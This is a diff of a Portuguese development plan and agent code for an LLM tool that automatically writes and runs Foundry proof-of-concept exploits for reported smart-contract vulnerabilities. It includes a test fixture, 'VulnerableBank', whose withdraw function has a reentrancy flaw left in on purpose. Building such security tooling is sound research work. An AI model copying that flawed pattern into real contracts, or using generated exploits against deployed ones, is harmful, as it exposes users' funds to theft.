- category: "unknown",
895
- summary: "Erro desconhecido. Revisar output completo do forge.",
896
- relevantLines: result.combined.split("\n").slice(0, 10),
897
- };
898
- }
899
- ```
900
-
901
- **Critérios de aceitação**
902
- - [ ] Classifica `compiler_error` quando stderr contém `"Compiler run failed"`
903
- - [ ] Classifica `assertion_failed` quando stdout contém `"FAIL"` + `"Assertion Failed"`
904
- - [ ] Classifica `revert_with_message` quando há `revert: <mensagem>`
905
- - [ ] `relevantLines` nunca tem mais de 10 linhas
906
- - [ ] `summary` é sempre linguagem natural (não reproduz stack trace bruto)
907
-
908
- **Como testar**
909
- ```typescript
910
- // tests/unit/logAnalyzer.test.ts
911
- import { analyzeFoundryLog } from "../../src/agents/poc-generator/utils/logAnalyzer";
912
-
913
- const compilerError = { exitCode: 1, timedOut: false, stdout: "", stderr: "Compiler run failed\nError: ...\n--> src/A.sol:10:5", combined: "STDOUT:\n\nSTDERR:\nCompiler run failed\nError: ...\n--> src/A.sol:10:5" };
914
- const r1 = analyzeFoundryLog(compilerError as any);
915
- console.assert(r1.category === "compiler_error", "Caso 1 falhou");
916
- console.assert(r1.relevantLines.length <= 10, "Muitas linhas");
917
-
918
- const timeout = { exitCode: -1, timedOut: true, stdout: "", stderr: "", combined: "TIMEOUT" };
919
- const r2 = analyzeFoundryLog(timeout as any);
920
- console.assert(r2.category === "timeout", "Caso timeout falhou");
921
-
922
- console.log("logAnalyzer OK");
923
- ```
924
-
925
- ---
926
-
927
- ### TALP-2.7 — Implementar `reflectNode`
928
-
929
- | Campo | Valor |
930
- |-------|-------|
931
- | **Tipo** | Implementação |
932
- | **Prioridade** | Alta |
933
- | **Estimativa** | 2h |
934
- | **Depende de** | TALP-2.6 |
935
-
936
- **Descrição**
937
- Node que usa o `logAnalyzer` para produzir um `lastError` estruturado e legível. Este valor é passado para o `generatePoCNode` no retry, orientando o LLM sobre o que corrigir.
938
-
939
- **Arquivos a modificar**
940
- ```
941
- src/agents/poc-generator/agent.ts ← substituir stub do reflectNode
942
- ```
943
-
944
- **Implementação**
945
- ```typescript
946
- import { analyzeFoundryLog } from "./utils/logAnalyzer";
947
-
948
- async function reflectNode(state: PoCState): Promise<Partial<PoCState>> {
949
- // Pegar o último log de execução
950
- const lastLog = state.executionLogs[state.executionLogs.length - 1];
951
- if (!lastLog) {
952
- return { lastError: "Sem logs disponíveis para análise." };
953
- }
954
-
955
- // Reconstruir FoundryResult mínimo a partir do log combinado
956
- const mockResult = {
957
- exitCode: 1, timedOut: lastLog.includes("TIMEOUT"),
958
- stdout: "", stderr: "", combined: lastLog,
959
- };
960
-
961
- const analysis = analyzeFoundryLog(mockResult as any);
962
-
963
- console.log(`[reflectNode] categoria: ${analysis.category}`);
964
- console.log(`[reflectNode] resumo: ${analysis.summary}`);
965
-
966
- return {
967
- lastError: `[${analysis.category.toUpperCase()}] ${analysis.summary}\n\nLinhas relevantes:\n${analysis.relevantLines.join("\n")}`,
968
- };
969
- }
970
- ```
971
-
972
- **Critérios de aceitação**
973
- - [ ] `lastError` sempre é uma string não-vazia após o node
974
- - [ ] `lastError` inclui a categoria do erro entre colchetes
975
- - [ ] `lastError` inclui as linhas relevantes do log (não o log inteiro)
976
- - [ ] Node não trava se `executionLogs` estiver vazio
977
-
978
- ---
979
-
980
- ### TALP-2.8 — Implementar router condicional e fechar o loop
981
-
982
- | Campo | Valor |
983
- |-------|-------|
984
- | **Tipo** | Implementação |
985
- | **Prioridade** | Crítica |
986
- | **Estimativa** | 2h |
987
- | **Depende de** | TALP-2.3, TALP-2.5, TALP-2.7 |
988
-
989
- **Descrição**
990
- Substituir as edges fixas do grafo por edges condicionais que implementam o loop ReAct. Atualizar o `runFoundryNode` real e conectar tudo.
991
-
992
- **Arquivos a modificar**
993
- ```
994
- src/agents/poc-generator/agent.ts ← refatorar grafo completo
995
- ```
996
-
997
- **Implementação**
998
- ```typescript
999
- const MAX_ITERATIONS = 5;
1000
-
1001
- function routeAfterFoundry(state: PoCState): "reflectNode" | "__end__" {
1002
- if (state.status === "success") return "__end__";
1003
- if (state.status === "timeout") return "__end__";
1004
- if (state.iterations >= MAX_ITERATIONS) return "__end__";
1005
- return "reflectNode";
1006
- }
1007
-
1008
- async function runFoundryNode(state: PoCState): Promise<Partial<PoCState>> {
1009
- const result = await runFoundry(state.pocCode);
1010
- const analysis = analyzeFoundryLog(result);
1011
- const passed = result.exitCode === 0 && result.stdout.includes("ok");
1012
-
1013
- console.log(`[runFoundryNode] exitCode=${result.exitCode}, passed=${passed}`);
1014
-
1015
- return {
1016
- executionLogs: [result.combined], // reducer append
1017
- lastError: analysis.summary,
1018
- status: passed ? "success"
1019
- : result.timedOut ? "timeout"
1020
- : "running",
1021
- };
1022
- }
1023
-
1024
- // Grafo final com loop ReAct
1025
- const graph = new StateGraph(PoCStateAnnotation)
1026
- .addNode("oracleNode", oracleNode)
1027
- .addNode("generatePoCNode", generatePoCNode)
1028
- .addNode("runFoundryNode", runFoundryNode)
1029
- .addNode("reflectNode", reflectNode)
1030
- .addEdge(START, "oracleNode")
1031
- .addEdge("oracleNode", "generatePoCNode")
1032
- .addEdge("generatePoCNode", "runFoundryNode")
1033
- .addConditionalEdges("runFoundryNode", routeAfterFoundry, {
1034
- reflectNode: "reflectNode",
1035
- __end__: END,
1036
- })
1037
- .addEdge("reflectNode", "generatePoCNode"); // fecha o loop
1038
-
1039
- export const pocGeneratorAgent = graph.compile();
1040
- ```
1041
-
1042
- **Critérios de aceitação**
1043
- - [ ] Loop executa ≥2 iterações quando a primeira tentativa falha
1044
- - [ ] Para em `END` quando `status === "success"`
1045
- - [ ] Para em `END` quando `iterations >= 5` (mesmo sem sucesso)
1046
- - [ ] Para em `END` quando `status === "timeout"`
1047
- - [ ] `executionLogs` tem uma entrada por iteração ao final
1048
-
1049
- **Gate da Semana 2:** Rodar o agente com o `VulnerableBank` e confirmar que o loop executa ≥2 iterações e melhora o código após erro de compilação.
1050
-
1051
- ---
1052
-
1053
- ## SEMANA 3 — Integração, Smoke Test & Avaliação
1054
-
1055
- ---
1056
-
1057
- ### TALP-3.1 — Interface pública do agente
1058
-
1059
- | Campo | Valor |
1060
- |-------|-------|
1061
- | **Tipo** | Implementação |
1062
- | **Prioridade** | Alta |
1063
- | **Estimativa** | 1h |
1064
- | **Depende de** | TALP-2.8 |
1065
-
1066
- **Descrição**
1067
- Criar o entry point público que o restante do sistema (Agente Auditor) usará para invocar o Agente de PoCs.
1068
-
1069
- **Arquivos a criar**
1070
- ```
1071
- src/agents/poc-generator/index.ts
1072
- ```
1073
-
1074
- **Implementação**
1075
- ```typescript
1076
- import { pocGeneratorAgent } from "./agent";
1077
- import { VulnerabilityReport, PoCResult } from "./types";
1078
-
1079
- export async function runPoCGenerator(report: VulnerabilityReport): Promise<PoCResult> {
1080
- console.log(`[runPoCGenerator] iniciando para: ${report.id} — ${report.title}`);
1081
-
1082
- const finalState = await pocGeneratorAgent.invoke({ report });
1083
-
1084
- const result: PoCResult = {
1085
- reportId: report.id,
1086
- status: finalState.status === "running" ? "failed" : finalState.status,
1087
- solidityCode: finalState.pocCode,
1088
- executionLogs: finalState.executionLogs,
1089
- iterations: finalState.iterations,
1090
- };
1091
-
1092
- console.log(`[runPoCGenerator] concluído — status=${result.status}, iterações=${result.iterations}`);
1093
- return result;
1094
- }
1095
-
1096
- export type { VulnerabilityReport, PoCResult };
1097
- ```
1098
-
1099
- **Critérios de aceitação**
1100
- - [ ] Nunca lança exceção — retorna `PoCResult` em qualquer cenário
1101
- - [ ] `status` nunca é `"running"` no resultado final (mapeia para `"failed"`)
1102
- - [ ] Tipos exportados batem com o contrato esperado pelo Agente Auditor
1103
-
1104
- ---
1105
-
1106
- ### TALP-3.2 — Smoke test end-to-end com reentrancy
1107
-
1108
- | Campo | Valor |
1109
- |-------|-------|
1110
- | **Tipo** | Teste |
1111
- | **Prioridade** | Crítica |
1112
- | **Estimativa** | 3h |
1113
- | **Depende de** | TALP-3.1 |
1114
-
1115
- **Descrição**
1116
- Validar o pipeline completo com um contrato vulnerável simples de reentrancy escrito manualmente. Este teste não depende de dataset externo.
1117
-
1118
- **Arquivos a criar**
1119
- ```
1120
- tests/e2e/poc-generator.test.ts
1121
- ```
1122
-
1123
- **Implementação**
1124
- ```typescript
1125
- import { runPoCGenerator } from "../../src/agents/poc-generator";
1126
- import { VulnerabilityReport } from "../../src/agents/poc-generator/types";
1127
-
1128
- const VULNERABLE_BANK = `
1129
- pragma solidity ^0.8.20;
1130
- contract VulnerableBank {
1131
- mapping(address => uint) public balances;
1132
- function deposit() external payable { balances[msg.sender] += msg.value; }
1133
- function withdraw() external {
1134
- uint amount = balances[msg.sender];
1135
- (bool ok,) = msg.sender.call{value: amount}("");
1136
- require(ok);
1137
- balances[msg.sender] = 0; // atualiza DEPOIS — reentrancy
1138
- }
1139
- receive() external payable {}
1140
- }`.trim();
1141
-
1142
- const mockReport: VulnerabilityReport = {
1143
- id: "e2e-reentrancy-001",
1144
- severity: "critical",
1145
- type: "reentrancy",
1146
- title: "Reentrancy em withdraw()",
1147
- description: "withdraw() envia ETH antes de zerar o saldo, permitindo re-entrada.",
1148
- affectedContract: { name: "VulnerableBank", sourceCode: VULNERABLE_BANK },
1149
- attackVector: "Contrato atacante com fallback() que chama withdraw() novamente antes do saldo ser zerado.",
1150
- suggestedCheatcodes: ["vm.deal", "vm.startPrank", "vm.stopPrank"],
1151
- };
1152
-
1153
- async function runE2ETest() {
1154
- console.log("Iniciando smoke test end-to-end...");
1155
- const result = await runPoCGenerator(mockReport);
1156
-
1157
- console.log(`Status: ${result.status}`);
1158
- console.log(`Iterações: ${result.iterations}`);
1159
- console.log(`Logs: ${result.executionLogs.length} entrada(s)`);
1160
-
1161
- console.assert(result.status === "success", `FALHOU: status esperado 'success', recebido '${result.status}'`);
1162
- console.assert(result.iterations <= 5, `FALHOU: muitas iterações (${result.iterations})`);
1163
- console.assert(result.solidityCode.includes("test_Exploit"), "FALHOU: código não contém test_Exploit");
1164
-
1165
- console.log("Smoke test PASSOU");
1166
- return result;
1167
- }
1168
-
1169
- runE2ETest().catch(console.error);
1170
- ```
1171
-
1172
- **Critérios de aceitação**
1173
- - [ ] `result.status === "success"`
1174
- - [ ] `result.iterations <= 5`
1175
- - [ ] `result.solidityCode` contém `test_Exploit`
1176
- - [ ] Teste completo roda em menos de 3 minutos
1177
- - [ ] Não requer variável `MAINNET_RPC_URL` (contrato é local)
1178
-
1179
- **Como executar**
1180
- ```bash
1181
- OPENROUTER_API_KEY=sk-... npx ts-node tests/e2e/poc-generator.test.ts
1182
- ```
1183
-
1184
- ---
1185
-
1186
- ### TALP-3.3 — Preparar dataset de benchmark
1187
-
1188
- | Campo | Valor |
1189
- |-------|-------|
1190
- | **Tipo** | Dados |
1191
- | **Prioridade** | Alta |
1192
- | **Estimativa** | 3h |
1193
- | **Depende de** | — |
1194
-
1195
- **Descrição**
1196
- Selecionar ≥5 casos reais do dataset **Proof-of-Patch** (ASSERT-KTH) e montar o `benchmark.json`. Priorizar: reentrancy, access control bypass, integer overflow.
1197
-
1198
- **Arquivos a criar**
1199
- ```
1200
- data/benchmark.json
1201
- ```
1202
-
1203
- **Formato**
1204
- ```json
1205
- [
1206
- {
1207
- "id": "bench-001",
1208
- "vulnerability": "Reentrancy em withdraw()",
1209
- "type": "reentrancy",
1210
- "severity": "critical",
1211
- "contractName": "VulnerableBank",
1212
- "sourceCode": "pragma solidity ^0.8.20; ...",
1213
- "attackVector": "Contrato atacante com fallback reentrant",
1214
- "source": "Proof-of-Patch / ASSERT-KTH",
1215
- "referencePoC": "disponível no repositório ASSERT-KTH/Proof-of-Patch"
1216
- }
1217
- ]
1218
- ```
1219
-
1220
- **Critérios de aceitação**
1221
- - [ ] ≥5 entradas com `sourceCode` completo e compilável
1222
- - [ ] Cobre pelo menos 3 tipos de vulnerabilidade diferentes
1223
- - [ ] Cada entrada tem `attackVector` descrito
1224
- - [ ] Todos os contratos compilam com `forge build` (verificar antes de incluir)
1225
-
1226
- ---
1227
-
1228
- ### TALP-3.4 — Script de avaliação em batch
1229
-
1230
- | Campo | Valor |
1231
- |-------|-------|
1232
- | **Tipo** | Avaliação |
1233
- | **Prioridade** | Alta |
1234
- | **Estimativa** | 2h |
1235
- | **Depende de** | TALP-3.1, TALP-3.3 |
1236
-
1237
- **Descrição**
1238
- Script que roda o agente sobre todos os casos do benchmark e reporta a taxa de sucesso. Um caso que falha não interrompe o batch.
1239
-
1240
- **Arquivos a criar**
1241
- ```
1242
- scripts/evaluate.ts
1243
- data/eval-results.json ← gerado pelo script
1244
- ```
1245
-
1246
- **Implementação**
1247
- ```typescript
1248
- import { readFileSync, writeFileSync } from "fs";
1249
- import { runPoCGenerator } from "../src/agents/poc-generator";
1250
-
1251
- interface BenchmarkCase {
1252
- id: string; vulnerability: string; type: string; severity: string;
1253
- contractName: string; sourceCode: string; attackVector: string;
1254
- }
1255
-
1256
- interface EvalResult {
1257
- id: string; status: string; iterations: number;
1258
- passed: boolean; durationMs: number;
1259
- }
1260
-
1261
- async function main() {
1262
- const dataset: BenchmarkCase[] = JSON.parse(readFileSync("data/benchmark.json", "utf-8"));
1263
- const results: EvalResult[] = [];
1264
-
1265
- console.log(`Iniciando avaliação — ${dataset.length} caso(s)\n`);
1266
-
1267
- for (const item of dataset) {
1268
- const start = Date.now();
1269
- console.log(`[${item.id}] Rodando: ${item.vulnerability}...`);
1270
-
1271
- try {
1272
- const result = await runPoCGenerator({
1273
- id: item.id, severity: item.severity as any, type: item.type,
1274
- title: item.vulnerability, description: item.vulnerability,
1275
- affectedContract: { name: item.contractName, sourceCode: item.sourceCode },
1276
- attackVector: item.attackVector,
1277
- });
1278
- const dur = Date.now() - start;
1279
- results.push({ id: item.id, status: result.status, iterations: result.iterations, passed: result.status === "success", durationMs: dur });
1280
- console.log(` → ${result.status} em ${result.iterations} iter(s), ${(dur/1000).toFixed(1)}s`);
1281
- } catch (err) {
1282
- const dur = Date.now() - start;
1283
- results.push({ id: item.id, status: "error", iterations: 0, passed: false, durationMs: dur });
1284
- console.error(` → ERRO: ${(err as Error).message}`);
1285
- }
1286
- }
1287
-
1288
- const passed = results.filter(r => r.passed).length;
1289
- const total = results.length;
1290
- const successRate = ((passed / total) * 100).toFixed(1);
1291
- const avgIter = (results.reduce((s, r) => s + r.iterations, 0) / total).toFixed(1);
1292
-
1293
- console.log(`\n${"=".repeat(40)}`);
1294
- console.log(`Taxa de sucesso: ${successRate}% (${passed}/${total})`);
1295
- console.log(`Média de iterações: ${avgIter}`);
1296
- console.log(`${"=".repeat(40)}`);
1297
-
1298
- writeFileSync("data/eval-results.json", JSON.stringify({ summary: { successRate: parseFloat(successRate), passed, total, avgIterations: parseFloat(avgIter) }, results }, null, 2));
1299
- console.log("\nResultados salvos em data/eval-results.json");
1300
- }
1301
-
1302
- main().catch(console.error);
1303
- ```
1304
-
1305
- **Critérios de aceitação**
1306
- - [ ] Roda todos os casos sem travar (erro individual registrado e continua)
1307
- - [ ] Gera `data/eval-results.json` com resultados por caso + sumário
1308
- - [ ] Reporta taxa de sucesso, total de casos e média de iterações
1309
- - [ ] **Taxa alvo:** ≥50% de sucesso nos casos do benchmark
1310
-
1311
- **Como executar**
1312
- ```bash
1313
- OPENROUTER_API_KEY=sk-... npx ts-node scripts/evaluate.ts
1314
- ```
1315
-
1316
- ---
1317
-
1318
- ## Resumo de Arquivos por Task
1319
-
1320
- | Task | Arquivo | Ação |
1321
- |------|---------|------|
1322
- | TALP-1.1 | `tsconfig.json`, `package.json` | criar/atualizar |
1323
- | TALP-1.2 | `src/.../types.ts`, `src/.../state.ts` | criar |
1324
- | TALP-1.3 | `src/.../agent.ts` | criar (stubs) |
1325
- | TALP-1.4 | `src/.../tools/scaffoldGenerator.ts` | criar |
1326
- | TALP-1.5 | `src/.../agent.ts` | modificar (oracleNode real) |
1327
- | TALP-2.1 | `src/.../prompts/system.ts` | criar |
1328
- | TALP-2.2 | `src/.../utils/extractSolidity.ts` | criar |
1329
- | TALP-2.3 | `src/.../agent.ts` | modificar (generatePoCNode real) |
1330
- | TALP-2.4 | `scripts/setup-sandbox.sh`, `foundry.toml` | criar |
1331
- | TALP-2.5 | `src/.../tools/foundryRunner.ts` | criar |
1332
- | TALP-2.6 | `src/.../utils/logAnalyzer.ts` | criar |
1333
- | TALP-2.7 | `src/.../agent.ts` | modificar (reflectNode real) |
1334
- | TALP-2.8 | `src/.../agent.ts` | modificar (grafo final com loop) |
1335
- | TALP-3.1 | `src/.../index.ts` | criar |
1336
- | TALP-3.2 | `tests/e2e/poc-generator.test.ts` | criar |
1337
- | TALP-3.3 | `data/benchmark.json` | criar |
1338
- | TALP-3.4 | `scripts/evaluate.ts` | criar |
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
src/agents/tester/agent.ts CHANGED
@@ -1,357 +1,5 @@
1
  import "dotenv/config";
2
- import fs from "fs/promises";
3
- import path from "path";
4
- import { execSync } from "child_process";
5
 
6
- import { StateGraph, END, START } from "@langchain/langgraph";
7
- import { PoCStateAnnotation, PoCState } from "./state.js";
8
- import { generateLocalScaffold } from "./tools/scaffoldGenerator.js";
9
- import { OracleContext } from "./types.js";
10
- import { createLLM } from "../../config/llm.ts";
11
- import {
12
- SYSTEM_PROMPT,
13
- ANALYZE_VULNERABILITY_PROMPT,
14
- POC_INITIAL_PROMPT,
15
- POC_COMPILE_FIX_PROMPT,
16
- POC_TEST_FIX_PROMPT,
17
- POC_MINIMAL_INTERFACE_PROMPT
18
- } from "./prompts/system.js";
19
- import { extractSolidity } from "./utils/extractSolidity.js";
20
- import { runFoundry } from "./tools/foundryRunner.js";
21
- import { analyzeFoundryLog } from "./utils/logAnalyzer.js";
22
- import { extractProjectContext } from "./utils/projectContextExtractor.js";
23
- import { createMissingDependencyStubs } from "./utils/dependencyStubber.js";
24
- import { analyzeSolidityFile } from "../auditor/tools/solidity-analyzer-tool.js";
25
- import { extractConstructor } from "./utils/parserUtils.js";
26
- import { generateInfrastructureNode, generateExploitNode } from "./nodes.js";
27
- import { oracleNode } from "./nodes/oracle.js";
28
- import { analyzeVulnerabilityNode } from "./nodes/analyzeVulnerability.js";
29
- import { generateInfrastructureNode, generateExploitNode } from "./nodes.js";
30
-
31
- const MAX_INFRA_ITERATIONS = 30;
32
- const MAX_EXPLOIT_ITERATIONS = 30;
33
-
34
- // LLM Routing: Smart model for strategy/logic, Fast model for syntax/compilation
35
- const smartLlm = createLLM(undefined, "google/gemini-3-flash-preview");
36
- const fastLlm = createLLM(undefined, "google/gemini-3.1-flash-lite");
37
- async function oracleNode(state: PoCState): Promise<Partial<PoCState>> {
38
- console.log("[oracleNode] gerando scaffold para:", state.report.title);
39
-
40
- const solidityScaffold = generateLocalScaffold(state.report);
41
-
42
- // Extrair info do constructor para ajudar o LLM no setUp
43
- const constructorInfo = extractConstructor(state.report.affectedContract.sourceCode, state.report.affectedContract.name);
44
-
45
- // STEP 3: Automated API Discovery
46
- console.log("[oracleNode] analisando API do contrato e helpers de teste...");
47
- const targetContractAPI = await analyzeSolidityFile(state.report.affectedContract.sourceCode, "short");
48
-
49
- let referenceTestHelpers = "";
50
- if (state.report.referenceTestCode) {
51
- referenceTestHelpers = await analyzeSolidityFile(state.report.referenceTestCode, "short");
52
- }
53
-
54
- let projectRemappings = "";
55
- let projectTestImports = "";
56
- let projectTestFilePath: string | null = null;
57
- if (state.report.customSandboxDir) {
58
- console.log("[oracleNode] extracting project context (remappings, test imports)...");
59
- try {
60
- const projectCtx = await extractProjectContext(state.report.customSandboxDir);
61
- projectRemappings = projectCtx.remappings;
62
- projectTestImports = projectCtx.existingTestImports;
63
- projectTestFilePath = projectCtx.existingTestFilePath;
64
- if (projectRemappings) console.log("[oracleNode] found remappings:", projectRemappings.split("\n").length, "entries");
65
- if (projectTestImports) console.log("[oracleNode] found existing test imports from:", projectTestFilePath);
66
- } catch (e) {
67
- console.warn("[oracleNode] could not extract project context:", (e as Error).message);
68
- }
69
-
70
- // STEP 5: Remove existing project test files from sandbox test/ directory.
71
- // Forge compiles ALL .t.sol files even when only running Exploit.t.sol.
72
- // Existing tests often import missing deps (@prb/test, lib/caviar, etc.)
73
- // causing compilation failures even when our Exploit.t.sol is clean.
74
- // We already extracted the import context we needed — now clean up.
75
- try {
76
- const testDir = path.join(state.report.customSandboxDir, "test");
77
- const testEntries = await fs.readdir(testDir, { withFileTypes: true }).catch(() => []);
78
- let removed = 0;
79
- for (const entry of testEntries) {
80
- if (entry.isFile() && entry.name.endsWith(".t.sol") && entry.name !== "Exploit.t.sol") {
81
- await fs.unlink(path.join(testDir, entry.name));
82
- removed++;
83
- }
84
- }
85
- if (removed > 0) console.log(`[oracleNode] Removed ${removed} existing test files from sandbox (avoids missing dep conflicts)`);
86
- } catch (e) {
87
- console.warn("[oracleNode] test cleanup failed (non-fatal):", (e as Error).message);
88
- }
89
-
90
- // STEP 6: Pre-flight dependency stub creation
91
- // After removing conflicting test files, create stubs for any remaining missing deps
92
- try {
93
- await createMissingDependencyStubs(state.report.customSandboxDir);
94
- } catch (e) {
95
- console.warn("[oracleNode] stub creation failed (non-fatal):", (e as Error).message);
96
- }
97
- }
98
-
99
-
100
- const oracleContext: OracleContext = {
101
- solidityScaffold,
102
- constructorInfo: constructorInfo?.parameters,
103
- targetContractAPI,
104
- referenceTestHelpers,
105
- projectRemappings,
106
- projectTestImports,
107
- projectTestFilePath,
108
- };
109
-
110
- console.log("[oracleNode] scaffold gerado, context built.");
111
- return { oracleContext };
112
- }
113
-
114
- /**
115
- * NEW: Multi-Pass Node 1 - Analysis
116
- */
117
- async function analyzeVulnerabilityNode(state: PoCState): Promise<Partial<PoCState>> {
118
- console.log("[testerAgent] analyzeVulnerabilityNode: analyzing bug...");
119
-
120
- const userMessage = `Vulnerability Report:
121
- - Title: ${state.report.title}
122
- - Type: ${state.report.type}
123
- - Description: ${state.report.description}
124
-
125
- ### Target Contract Source Code (${state.report.affectedContract.name}):
126
- \`\`\`solidity
127
- ${state.report.affectedContract.sourceCode}
128
- \`\`\`
129
-
130
- ### Target Contract API:
131
- ${state.oracleContext!.targetContractAPI}
132
-
133
- ${state.oracleContext!.referenceTestHelpers ? `### Environment Helpers:
134
- ${state.oracleContext!.referenceTestHelpers}` : ""}
135
-
136
- ${state.report.patchDiff ? `### PATCH DIFF (what the fix changes — use this to write a SPECIFIC assertion):
137
- The following diff shows exactly what changed between the vulnerable and patched version.
138
- Your generated PoC MUST produce an assertion that:
139
- - PASSES on the vulnerable version (bug exists)
140
- - FAILS on the patched version (bug is fixed)
141
-
142
- \`\`\`diff
143
- ${state.report.patchDiff}
144
- \`\`\`` : ""}
145
- `;
146
-
147
- console.log("[testerAgent] analyzeVulnerabilityNode: analyzing bug using SMART model...");
148
- const response = await smartLlm.invoke([
149
- { role: "system", content: ANALYZE_VULNERABILITY_PROMPT },
150
- { role: "user", content: userMessage },
151
- ]);
152
-
153
- return { vulnerabilityAnalysis: response.content as string };
154
- }
155
-
156
-
157
-
158
-
159
- async function runFoundryNode(state: PoCState): Promise<Partial<PoCState>> {
160
- console.log("[testerAgent] Executando runFoundryNode...");
161
-
162
- const trimmedCode = state.pocCode.trim();
163
- const isMissingCode = trimmedCode.length === 0;
164
- const isMissingContract = !trimmedCode.includes("contract ExploitTest");
165
- const isMissingTest = !trimmedCode.includes("function test_Exploit()");
166
- const isPlaceholder = trimmedCode.includes("TODO: implementar exploit");
167
- const isTargetNotDeployed = trimmedCode.includes("// target = new") ||
168
- trimmedCode.includes("//Target target = new") ||
169
- trimmedCode.includes("// target = address(new") ||
170
- trimmedCode.match(/\/\/\s*([a-zA-Z0-9_]+)\s*=\s*(address\()?new\s+[a-zA-Z0-9_]+/);
171
- const hasStrongAssertion = (
172
- trimmedCode.includes("assertEq") ||
173
- trimmedCode.includes("assertGt") ||
174
- trimmedCode.includes("assertLt") ||
175
- trimmedCode.includes("assertLe") ||
176
- trimmedCode.includes("assertGe") ||
177
- trimmedCode.includes("assertNotEq") ||
178
- trimmedCode.includes("assertApproxEq")
179
- );
180
- const isLazyTest = (
181
- trimmedCode.includes("assertTrue(true") ||
182
- trimmedCode.includes("assert(true") ||
183
- trimmedCode.includes("assert(1 == 1")
184
- ) && !hasStrongAssertion;
185
-
186
- const isUsingMock = trimmedCode.includes("contract Mock") || trimmedCode.includes("contract Fake");
187
